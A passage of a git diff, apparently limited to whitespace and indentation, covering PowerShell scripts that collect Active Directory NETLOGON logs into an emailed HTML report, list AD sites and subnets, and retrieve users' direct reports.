" + + # Get the Current Forest Information + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $ForestName = $Forest.Name.ToUpper() + Write-Verbose -Message "[BEGIN] Forest: $ForestName" + + + }#TRY + CATCH + { + Write-Warning -Message "BEGIN BLOCK - Something went wrong" + Write-Warning -Message $Error[0].Exception.Message + }#CATCH }#BEGIN PROCESS { - TRY - { - FOREACH ($Domain in $Forest.Domains) - { - $DomainName = $Domain.Name.ToUpper() - - # Get the names of all the Domain Contollers in $domain - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Getting all Domain Controllers from ..." - $DomainControllers = $domain | ForEach-Object -Process { $_.DomainControllers } | Select-Object -Property Name - - # Gathering the NETLOGON.LOG for each Domain Controller - Write-Verbose "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Gathering Logs from Domain controllers" - FOREACH ($dc in $DomainControllers) - { - $DCName = $($dc.Name).toUpper() - TRY - { - - ####################### - # COPY NETLOGON Files # - ####################### - - # Get the Current Domain Controller in the Loop - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - Gathering Logs" - - # NETLOGON.LOG path for the current Domain Controller - $path = "\\$DCName\admin`$\debug\netlogon.log" - - # Testing the $path - IF ((Test-Path -Path $path) -and ((Get-Item -Path $path).Length -ne $null)) - { - IF ((Get-Content -Path $path | Measure-Object -Line).lines -gt 0) - { - #Copy the NETLOGON.log locally for the current DC - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copying..." - Copy-Item -Path $path -Destination $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log - - #Export the $LogsLines last lines of the NETLOGON.log and send it to a file - ((Get-Content -Path $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log -ErrorAction Continue)[$LogsLines .. -1]) | - Out-File -FilePath "$ScriptPathOutput\$DomainName-$DCName.txt" -ErrorAction 'Continue' -ErrorVariable ErrorOutFileNetLogon - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copied" - }#IF - ELSE { Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON File Empty !!" } - } - ELSE { Write-Warning -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.log is not reachable" } - - - - ########################### - # FILE PROCESS (PART 1/2) # - ########################### - # Combine results - $FilesToCombine = Get-Content -Path $ScriptPathOutput\*.txt -ErrorAction SilentlyContinue - IF ($FilesToCombine) - { - - # Detect version of the netlogon file - # Windows Server 2012 - IF ($FilesToCombine[0] -match "\[\d{1,5}\]") - { - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2012" - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress - } - - # Windows Server Pre-2012 (2003/2008) - IF($FilesToCombine[0] -notmatch "\[\d{1,5}\]") - { - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2008 and Previous versions" - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Domain, Error, Name, IPAddress,Code - } - - # Convert the TXT file to a CSV format - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress - - # Append Missing Subnet File - $importString | Where-Object { $_.Error -like "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv -Append - # Append Other Error File - $importString | Where-Object { $_.Error -notlike "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv -Append - - }#IF File to Combine - ELSE { Write-Verbose -Message "[PROCESS] Nothing to process" } - - }#TRY - CATCH - { - Write-Warning -Message "$ForestName - $domainName - $DCName - Something wrong happened" - if ($ErrorOutFileNetLogon) { Write-Warning -Message "$ForestName - $domainName - $DCName - Error with Out-File" } - }#CATCH - }#FOREACH - }#FOREACH Domains in Forest - - - ########################### - # FILE PROCESS (PART 2/2) # - ########################### - $MissingSubnets = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv - $OtherErrors = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv - - - - ############################ - # BUILDING THE HTML REPORT # - ############################ - Write-Verbose -Message "[PROCESS] $ForestName - Building the HTML Report" - - # MISSING SUBNETS - $EmailBody += "

Forest: $($ForestName.ToUpper())

" - $EmailBody += "

Domain: $($DomainName.ToUpper())

" - $EmailBody += "

Missing Subnet(s) for $($DomainName.ToUpper())

" - IF ($MissingSubnets) - { - $EmailBody += "List of Active Directory client that can not find their site.
You need to add those subnets into the console Active Directory Sites And Services
" - $EmailBody += $MissingSubnets | Sort-Object IPAddress -Unique | ConvertTo-Html -property IPAddress,Name,Date,Domain,Code, Error -Fragment #|out-string - } - ELSE { $EmailBody += "No Missing Subnet(s) detected" } - - # OTHER ERRORS - $EmailBody += "

Other Error(s)

" - IF ($OtherErrors) - { - $EmailBody += "
" - # Retrieve Each txt generated from the NETLOGON files - Get-ChildItem $scriptpathoutput\$DomainName-*.txt -Exclude "*All_Export*" | - ForEach-Object{ - # Get the Other Errors (not Missing subnets) - $CurrentFile = Get-Content $_ | Where-Object { $_ -notlike "*NO_CLIENT_SITE*" } - IF ($CurrentFile) - { - # Write the name of the log, this will help sysadmin to find which side report the error - $EmailBody += "$($_.basename)
" - $EmailBody += "
" - FOREACH ($Line in $CurrentFile) - { - $EmailBody += "$line
" - }#FOREACH - # Close the FONT block - $EmailBody += "
" - }#IF - }#foreach-object - } - ELSE { $EmailBody += "No Other Error detected" } - - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - }#CATCH - FINALLY - { - - - ############## - # SEND EMAIL # - ############## - - # Add PostContent to email - $EmailBody += $PostContent - - $EmailBody = $EmailBody -replace "", '
' - $FinalEmailBody = ConvertTo-Html -Head $Head -PostContent $EmailBody - - # EMAIL - Write-Verbose -Message "[PROCESS] Preparing the final Email" - $SmtpClient = New-Object -TypeName system.net.mail.smtpClient - $SmtpClient.host = $EmailServer - $SmtpClient.Port = $EmailServerPort - $MailMessage = New-Object -TypeName system.net.mail.mailmessage - $MailMessage.from = $EmailFrom - #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} - FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } - $MailMessage.IsBodyHtml = $true - $MailMessage.Subject = $EmailSubject - $MailMessage.Body = $FinalEmailBody - $SmtpClient.Send($MailMessage) - Write-Verbose -Message "[PROCESS] Email Sent!" - - - ############### - # SAVE REPORT # - ############### - - if ($PSBoundParameters['HTMLReportPath']) - { - $FinalEmailBody | Out-File -LiteralPath (Join-Path -Path $HTMLReportPath -ChildPath "$ForestName-$dateformat-Report.html") - } - } - + TRY + { + FOREACH ($Domain in $Forest.Domains) + { + $DomainName = $Domain.Name.ToUpper() + + # Get the names of all the Domain Contollers in $domain + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Getting all Domain Controllers from ..." + $DomainControllers = $domain | ForEach-Object -Process { $_.DomainControllers } | Select-Object -Property Name + + # Gathering the NETLOGON.LOG for each Domain Controller + Write-Verbose "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Gathering Logs from Domain controllers" + FOREACH ($dc in $DomainControllers) + { + $DCName = $($dc.Name).toUpper() + TRY + { + + ####################### + # COPY NETLOGON Files # + ####################### + + # Get the Current Domain Controller in the Loop + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - Gathering Logs" + + # NETLOGON.LOG path for the current Domain Controller + $path = "\\$DCName\admin`$\debug\netlogon.log" + + # Testing the $path + IF ((Test-Path -Path $path) -and ((Get-Item -Path $path).Length -ne $null)) + { + IF ((Get-Content -Path $path | Measure-Object -Line).lines -gt 0) + { + #Copy the NETLOGON.log locally for the current DC + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copying..." + Copy-Item -Path $path -Destination $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log + + #Export the $LogsLines last lines of the NETLOGON.log and send it to a file + ((Get-Content -Path $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log -ErrorAction Continue)[$LogsLines .. -1]) | + Out-File -FilePath "$ScriptPathOutput\$DomainName-$DCName.txt" -ErrorAction 'Continue' -ErrorVariable ErrorOutFileNetLogon + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copied" + }#IF + ELSE { Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON File Empty !!" } + } + ELSE { Write-Warning -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.log is not reachable" } + + + + ########################### + # FILE PROCESS (PART 1/2) # + ########################### + # Combine results + $FilesToCombine = Get-Content -Path $ScriptPathOutput\*.txt -ErrorAction SilentlyContinue + IF ($FilesToCombine) + { + + # Detect version of the netlogon file + # Windows Server 2012 + IF ($FilesToCombine[0] -match "\[\d{1,5}\]") + { + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2012" + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress + } + + # Windows Server Pre-2012 (2003/2008) + IF($FilesToCombine[0] -notmatch "\[\d{1,5}\]") + { + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2008 and Previous versions" + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Domain, Error, Name, IPAddress,Code + } + + # Convert the TXT file to a CSV format + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress + + # Append Missing Subnet File + $importString | Where-Object { $_.Error -like "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv -Append + # Append Other Error File + $importString | Where-Object { $_.Error -notlike "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv -Append + + }#IF File to Combine + ELSE { Write-Verbose -Message "[PROCESS] Nothing to process" } + + }#TRY + CATCH + { + Write-Warning -Message "$ForestName - $domainName - $DCName - Something wrong happened" + if ($ErrorOutFileNetLogon) { Write-Warning -Message "$ForestName - $domainName - $DCName - Error with Out-File" } + }#CATCH + }#FOREACH + }#FOREACH Domains in Forest + + + ########################### + # FILE PROCESS (PART 2/2) # + ########################### + $MissingSubnets = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv + $OtherErrors = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv + + + + ############################ + # BUILDING THE HTML REPORT # + ############################ + Write-Verbose -Message "[PROCESS] $ForestName - Building the HTML Report" + + # MISSING SUBNETS + $EmailBody += "

Forest: $($ForestName.ToUpper())

" + $EmailBody += "

Domain: $($DomainName.ToUpper())

" + $EmailBody += "

Missing Subnet(s) for $($DomainName.ToUpper())

" + IF ($MissingSubnets) + { + $EmailBody += "List of Active Directory client that can not find their site.
You need to add those subnets into the console Active Directory Sites And Services
" + $EmailBody += $MissingSubnets | Sort-Object IPAddress -Unique | ConvertTo-Html -property IPAddress,Name,Date,Domain,Code, Error -Fragment #|out-string + } + ELSE { $EmailBody += "No Missing Subnet(s) detected" } + + # OTHER ERRORS + $EmailBody += "

Other Error(s)

" + IF ($OtherErrors) + { + $EmailBody += "
" + # Retrieve Each txt generated from the NETLOGON files + Get-ChildItem $scriptpathoutput\$DomainName-*.txt -Exclude "*All_Export*" | + ForEach-Object{ + # Get the Other Errors (not Missing subnets) + $CurrentFile = Get-Content $_ | Where-Object { $_ -notlike "*NO_CLIENT_SITE*" } + IF ($CurrentFile) + { + # Write the name of the log, this will help sysadmin to find which side report the error + $EmailBody += "$($_.basename)
" + $EmailBody += "
" + FOREACH ($Line in $CurrentFile) + { + $EmailBody += "$line
" + }#FOREACH + # Close the FONT block + $EmailBody += "
" + }#IF + }#foreach-object + } + ELSE { $EmailBody += "No Other Error detected" } + + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something wrong happened" + Write-Warning -Message $Error[0].Exception.Message + }#CATCH + FINALLY + { + + + ############## + # SEND EMAIL # + ############## + + # Add PostContent to email + $EmailBody += $PostContent + + $EmailBody = $EmailBody -replace "
", '
' + $FinalEmailBody = ConvertTo-Html -Head $Head -PostContent $EmailBody + + # EMAIL + Write-Verbose -Message "[PROCESS] Preparing the final Email" + $SmtpClient = New-Object -TypeName system.net.mail.smtpClient + $SmtpClient.host = $EmailServer + $SmtpClient.Port = $EmailServerPort + $MailMessage = New-Object -TypeName system.net.mail.mailmessage + $MailMessage.from = $EmailFrom + #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} + FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } + $MailMessage.IsBodyHtml = $true + $MailMessage.Subject = $EmailSubject + $MailMessage.Body = $FinalEmailBody + $SmtpClient.Send($MailMessage) + Write-Verbose -Message "[PROCESS] Email Sent!" + + + ############### + # SAVE REPORT # + ############### + + if ($PSBoundParameters['HTMLReportPath']) + { + $FinalEmailBody | Out-File -LiteralPath (Join-Path -Path $HTMLReportPath -ChildPath "$ForestName-$dateformat-Report.html") + } + } + }#PROCESS END { - IF (-not $KeepLogs) - { - Write-Verbose "Cleanup txt and log files..." - Remove-item -Path $ScriptpathOutput\*.txt -force - Remove-Item -Path $ScriptPathOutput\*.log -force - Write-Verbose -Message "Script Completed" - } + IF (-not $KeepLogs) + { + Write-Verbose "Cleanup txt and log files..." + Remove-item -Path $ScriptpathOutput\*.txt -force + Remove-Item -Path $ScriptPathOutput\*.log -force + Write-Verbose -Message "Script Completed" + } }#END \ No newline at end of file diff --git a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 index 3137ff82..be39622f 100644 --- a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -1,107 +1,107 @@ function Get-ADSiteInventory { <# - .SYNOPSIS - This function will retrieve information about the Sites and Services of the Active Directory - - .DESCRIPTION - This function will retrieve information about the Sites and Services of the Active Directory - - .EXAMPLE - Get-ADSiteInventory - - .EXAMPLE - Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv - - This will save all the site inventory to csv file - - .OUTPUTS - PSObject - - .NOTES - AUTHOR : Francois-Xavier Cat - DATE : 2014/02/02 - VERSION HISTORY : - 1.0 | 2014/02/02 | Francois-Xavier Cat - Initial Version - 1.1 | 2014/02/02 | Francois-Xavier Cat - Update some verbose messages - + .SYNOPSIS + This function will retrieve information about the Sites and Services of the Active Directory + + .DESCRIPTION + This function will retrieve information about the Sites and Services of the Active Directory + + .EXAMPLE + Get-ADSiteInventory + + .EXAMPLE + Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv + + This will save all the site inventory to csv file + + .OUTPUTS + PSObject + + .NOTES + AUTHOR : Francois-Xavier Cat + DATE : 2014/02/02 + VERSION HISTORY : + 1.0 | 2014/02/02 | Francois-Xavier Cat + Initial Version + 1.1 | 2014/02/02 | Francois-Xavier Cat + Update some verbose messages + #> - [CmdletBinding()] + [CmdletBinding()] PARAM() PROCESS { - TRY{ - # Get Script name - $ScriptName = (Get-Variable -name MyInvocation -Scope 0 -ValueOnly).Mycommand - - # Domain and Sites Information - Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest" - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest sites" - $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites - - # Forest Context - Write-Verbose -message "[$ScriptName][PROCESS] Create forest context" - $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" - $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest - + TRY{ + # Get Script name + $ScriptName = (Get-Variable -name MyInvocation -Scope 0 -ValueOnly).Mycommand + + # Domain and Sites Information + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest" + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest sites" + $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites + + # Forest Context + Write-Verbose -message "[$ScriptName][PROCESS] Create forest context" + $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" + $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest + # Distinguished Name of the Configuration Partition - Write-Verbose -message "[$ScriptName][PROCESS] Retrieve RootDSE Configuration Naming Context" + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve RootDSE Configuration Naming Context" $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext # Get the Subnet Container - Write-Verbose -message "[$ScriptName][PROCESS] Get the Subnet Container" + Write-Verbose -message "[$ScriptName][PROCESS] Get the Subnet Container" $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - FOREACH ($item in $SiteInfo){ - - Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name)" - - # Get the Site Links - Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Getting Site Links" - $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext,$($item.name))).SiteLinks - - # Create PowerShell Object and Output - Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Preparing Output" - - New-Object -TypeName PSObject -Property @{ - Name= $item.Name + FOREACH ($item in $SiteInfo){ + + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name)" + + # Get the Site Links + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Getting Site Links" + $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext,$($item.name))).SiteLinks + + # Create PowerShell Object and Output + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Preparing Output" + + New-Object -TypeName PSObject -Property @{ + Name= $item.Name SiteLinks = $item.SiteLinks -join "," - Servers = $item.Servers -join "," - Domains = $item.Domains -join "," - Options = $item.options - AdjacentSites = $item.AdjacentSites -join ',' - InterSiteTopologyGenerator = $item.InterSiteTopologyGenerator - Location = $item.location + Servers = $item.Servers -join "," + Domains = $item.Domains -join "," + Options = $item.options + AdjacentSites = $item.AdjacentSites -join ',' + InterSiteTopologyGenerator = $item.InterSiteTopologyGenerator + Location = $item.location Subnets = ( $info = Foreach ($i in $item.Subnets.name){ $SubnetAdditionalInfo = $SubnetsContainer.Children | Where-Object {$_.name -like "*$i*"} "$i -- $($SubnetAdditionalInfo.Description)" }) -join "," - #SiteLinksInfo = $LinksInfo | fl * - - #SiteLinksInfo = New-Object -TypeName PSObject -Property @{ - SiteLinksCost = $LinksInfo.Cost -join "," - ReplicationInterval = $LinksInfo.ReplicationInterval -join ',' - ReciprocalReplicationEnabled = $LinksInfo.ReciprocalReplicationEnabled -join ',' - NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' - TransportType = $LinksInfo.TransportType -join ',' - InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' - DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' - #} - #> - }#New-Object -TypeName PSoBject - }#Foreach ($item in $SiteInfo) - }#TRY - CATCH - { - # Return the last error - $PSCmdlet.ThrowTerminatingError($_) - }#CATCH + #SiteLinksInfo = $LinksInfo | fl * + + #SiteLinksInfo = New-Object -TypeName PSObject -Property @{ + SiteLinksCost = $LinksInfo.Cost -join "," + ReplicationInterval = $LinksInfo.ReplicationInterval -join ',' + ReciprocalReplicationEnabled = $LinksInfo.ReciprocalReplicationEnabled -join ',' + NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' + TransportType = $LinksInfo.TransportType -join ',' + InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' + DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' + #} + #> + }#New-Object -TypeName PSoBject + }#Foreach ($item in $SiteInfo) + }#TRY + CATCH + { + # Return the last error + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH }#PROCESS END - { - Write-Verbose -Message "[$ScriptName][END] Script Completed!" - }#END + { + Write-Verbose -Message "[$ScriptName][END] Script Completed!" + }#END }#get-ADSiteServicesInfo #get-ADSiteServicesInfo #| export-csv .\test.csv diff --git a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 index 1ea3b252..79d27a79 100644 --- a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 +++ b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 @@ -1,44 +1,44 @@ function Get-ADSiteAndSubnet { <# - .SYNOPSIS - This function will retrieve Site names, subnets names and descriptions. - - .DESCRIPTION - This function will retrieve Site names, subnets names and descriptions. - - .EXAMPLE - Get-ADSiteAndSubnet - - .EXAMPLE - Get-ADSiteAndSubnet | Export-Csv -Path .\ADSiteInventory.csv - - .OUTPUTS - PSObject - - .NOTES - AUTHOR : Francois-Xavier Cat - DATE : 2014/02/03 - - HISTORY : - - 1.0 2014/02/03 Initial Version - - + .SYNOPSIS + This function will retrieve Site names, subnets names and descriptions. + + .DESCRIPTION + This function will retrieve Site names, subnets names and descriptions. + + .EXAMPLE + Get-ADSiteAndSubnet + + .EXAMPLE + Get-ADSiteAndSubnet | Export-Csv -Path .\ADSiteInventory.csv + + .OUTPUTS + PSObject + + .NOTES + AUTHOR : Francois-Xavier Cat + DATE : 2014/02/03 + + HISTORY : + + 1.0 2014/02/03 Initial Version + + #> - [CmdletBinding()] + [CmdletBinding()] PARAM() BEGIN {Write-Verbose -Message "[BEGIN] Starting Script..."} PROCESS { - TRY{ - # Domain and Sites Information - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites - - # Forest Context - $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" - $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest - + TRY{ + # Domain and Sites Information + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites + + # Forest Context + $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" + $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest + # Distinguished Name of the Configuration Partition $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext @@ -46,9 +46,9 @@ $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" $SubnetsContainerchildren = $SubnetsContainer.Children - FOREACH ($item in $SiteInfo){ - - Write-Verbose -Message "[PROCESS] SITE: $($item.name)" + FOREACH ($item in $SiteInfo){ + + Write-Verbose -Message "[PROCESS] SITE: $($item.name)" $output = @{ Name = $item.name @@ -60,21 +60,21 @@ Write-verbose -message "[PROCESS] SUBNET: $i - DESCRIPTION: $($SubnetAdditionalInfo.Description)" $output.Description = $($SubnetAdditionalInfo.Description) - + Write-verbose -message "[PROCESS] OUTPUT INFO" New-Object -TypeName PSObject -Property $output } - }#Foreach ($item in $SiteInfo) - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something Wrong Happened" - Write-Warning -Message $Error[0] - }#CATCH + }#Foreach ($item in $SiteInfo) + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something Wrong Happened" + Write-Warning -Message $Error[0] + }#CATCH }#PROCESS END - { - Write-Verbose -Message "[END] Script Completed!" - }#END + { + Write-Verbose -Message "[END] Script Completed!" + }#END }#get-ADSiteServicesInfo \ No newline at end of file diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index fddde971..a6febe55 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -1,43 +1,43 @@ function Get-ADDirectReports { - <# - .SYNOPSIS - This function retrieve the directreports property from the IdentitySpecified. - Optionally you can specify the Recurse parameter to find all the indirect - users reporting to the specify account (Identity). - - .DESCRIPTION - This function retrieve the directreports property from the IdentitySpecified. - Optionally you can specify the Recurse parameter to find all the indirect - users reporting to the specify account (Identity). - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - Blog post: http://www.lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html - - VERSION HISTORY - 1.0 2014/10/05 Initial Version - - .PARAMETER Identity - Specify the account to inspect - - .PARAMETER Recurse - Specify that you want to retrieve all the indirect users under the account - - .EXAMPLE - Get-ADDirectReports -Identity Test_director - + <# + .SYNOPSIS + This function retrieve the directreports property from the IdentitySpecified. + Optionally you can specify the Recurse parameter to find all the indirect + users reporting to the specify account (Identity). + + .DESCRIPTION + This function retrieve the directreports property from the IdentitySpecified. + Optionally you can specify the Recurse parameter to find all the indirect + users reporting to the specify account (Identity). + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + + Blog post: http://www.lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html + + VERSION HISTORY + 1.0 2014/10/05 Initial Version + + .PARAMETER Identity + Specify the account to inspect + + .PARAMETER Recurse + Specify that you want to retrieve all the indirect users under the account + + .EXAMPLE + Get-ADDirectReports -Identity Test_director + Name SamAccountName Mail Manager ---- -------------- ---- ------- test_managerB test_managerB test_managerB@la... test_director test_managerA test_managerA test_managerA@la... test_director - - .EXAMPLE - Get-ADDirectReports -Identity Test_director -Recurse - + + .EXAMPLE + Get-ADDirectReports -Identity Test_director -Recurse + Name SamAccountName Mail Manager ---- -------------- ---- ------- test_managerB test_managerB test_managerB@la... test_director @@ -46,63 +46,63 @@ test_userB2 test_userB2 test_userB2@lazy... test_managerB test_managerA test_managerA test_managerA@la... test_director test_userA2 test_userA2 test_userA2@lazy... test_managerA test_userA1 test_userA1 test_userA1@lazy... test_managerA - - #> - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory)] - [String[]]$Identity, - [Switch]$Recurse - ) - BEGIN - { - TRY - { - IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } - } - CATCH - { - Write-Verbose -Message "[BEGIN] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message - } - } - PROCESS - { - foreach ($Account in $Identity) - { - TRY - { - IF ($PSBoundParameters['Recurse']) - { - # Get the DirectReports - Write-Verbose -Message "[PROCESS] Account: $Account (Recursive)" - Get-Aduser -identity $Account -Properties directreports | - ForEach-Object -Process { - $_.directreports | ForEach-Object -Process { - # Output the current object with the properties Name, SamAccountName, Mail and Manager - Get-ADUser -Identity $PSItem -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } - # Gather DirectReports under the current object and so on... - Get-ADDirectReports -Identity $PSItem -Recurse - } - } - }#IF($PSBoundParameters['Recurse']) - IF (-not ($PSBoundParameters['Recurse'])) - { - Write-Verbose -Message "[PROCESS] Account: $Account" - # Get the DirectReports - Get-Aduser -identity $Account -Properties directreports | Select-Object -ExpandProperty directReports | - Get-ADUser -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } - }#IF (-not($PSBoundParameters['Recurse'])) - }#TRY - CATCH - { - Write-Verbose -Message "[PROCESS] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message - } - } - } - END - { - Remove-Module -Name ActiveDirectory -ErrorAction 'SilentlyContinue' -Verbose:$false | Out-Null - } + + #> + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory)] 